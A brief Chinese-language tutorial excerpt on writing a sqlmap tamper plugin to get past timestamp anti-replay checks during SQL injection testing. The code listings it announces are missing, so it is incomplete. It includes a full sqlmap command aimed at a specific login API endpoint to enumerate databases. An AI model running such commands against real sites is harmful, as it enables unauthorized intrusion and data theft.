Sqlmap Tamper插件绕过时间戳限制进行Sql注入攻击

1、前置知识：

大家在渗透测试的时候经常会遇到时间戳（timestamp），时间戳用于防范burpsuite的抓包重放攻击，难倒了不少工具黑客，但是遇到代码级的黑客会如何解决这个问题呢？

一言不合上代码，先给出生成时间戳的python代码：

通过google后，我们知道Sqlmap Tamper插件目录下（D:\sqlmap2016\tamper）有个xforwardedfor.py插件，下面我们贴出代码：

文件名：replacehead.py 放到：D:\sqlmap2016\tamper

python sqlmap.py -u "https://www.cesafe.com/openapi/v2/user/login" --data "{\"loginId\":\"13121838135\",\"password\":\"12345\"}" --tamper "replacehead" --dbms="mysql" -v 5 --dbs --proxy=http://127.0.0.1:8080
